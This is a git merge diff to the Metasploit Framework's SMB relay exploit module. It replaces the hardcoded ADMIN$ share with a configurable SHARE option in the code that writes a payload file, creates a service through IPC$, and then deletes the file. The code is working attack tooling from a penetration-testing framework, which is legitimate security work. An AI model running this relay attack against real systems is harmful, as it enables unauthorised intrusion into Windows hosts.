Merge branch 'feature/rm5455-patch-smb_relay' of github.com:lmercer-r7/metasploit-framework into lmercer-r7-feature/rm5455-patch-smb_relay

Author: sinn3r

modules/exploits/windows/smb/smb_relay.rb

@@ -94,7 +94,8 @@ module is not able to clean up after itself. The service and payload
 
 		register_options(
 			[
-				OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"])
+				OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]),
+				OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
 			], self.class )
 	end
 
@@ -124,8 +125,8 @@ def smb_haxor(c)
 			return
 		end
 
-		print_status("Connecting to the ADMIN$ share...")
-		rclient.connect("ADMIN$")
+		print_status("Connecting to the defined share...")
+		rclient.connect(datastore['SHARE'])
 
 		@pwned[smb[:rhost]] = true
 
@@ -155,8 +156,8 @@ def smb_haxor(c)
 
 		print_status("Created \\#{filename}...")
 
-		# Disconnect from the ADMIN$
-		rclient.disconnect("ADMIN$")
+		# Disconnect from the SHARE
+		rclient.disconnect(datastore['SHARE'])
 
 		print_status("Connecting to the Service Control Manager...")
 		rclient.connect("IPC$")
@@ -295,7 +296,7 @@ def smb_haxor(c)
 		rclient.disconnect("IPC$")
 
 		print_status("Deleting \\#{filename}...")
-		rclient.connect("ADMIN$")
+		rclient.connect(datastore['SHARE'])
 		rclient.delete("\\#{filename}")
 	end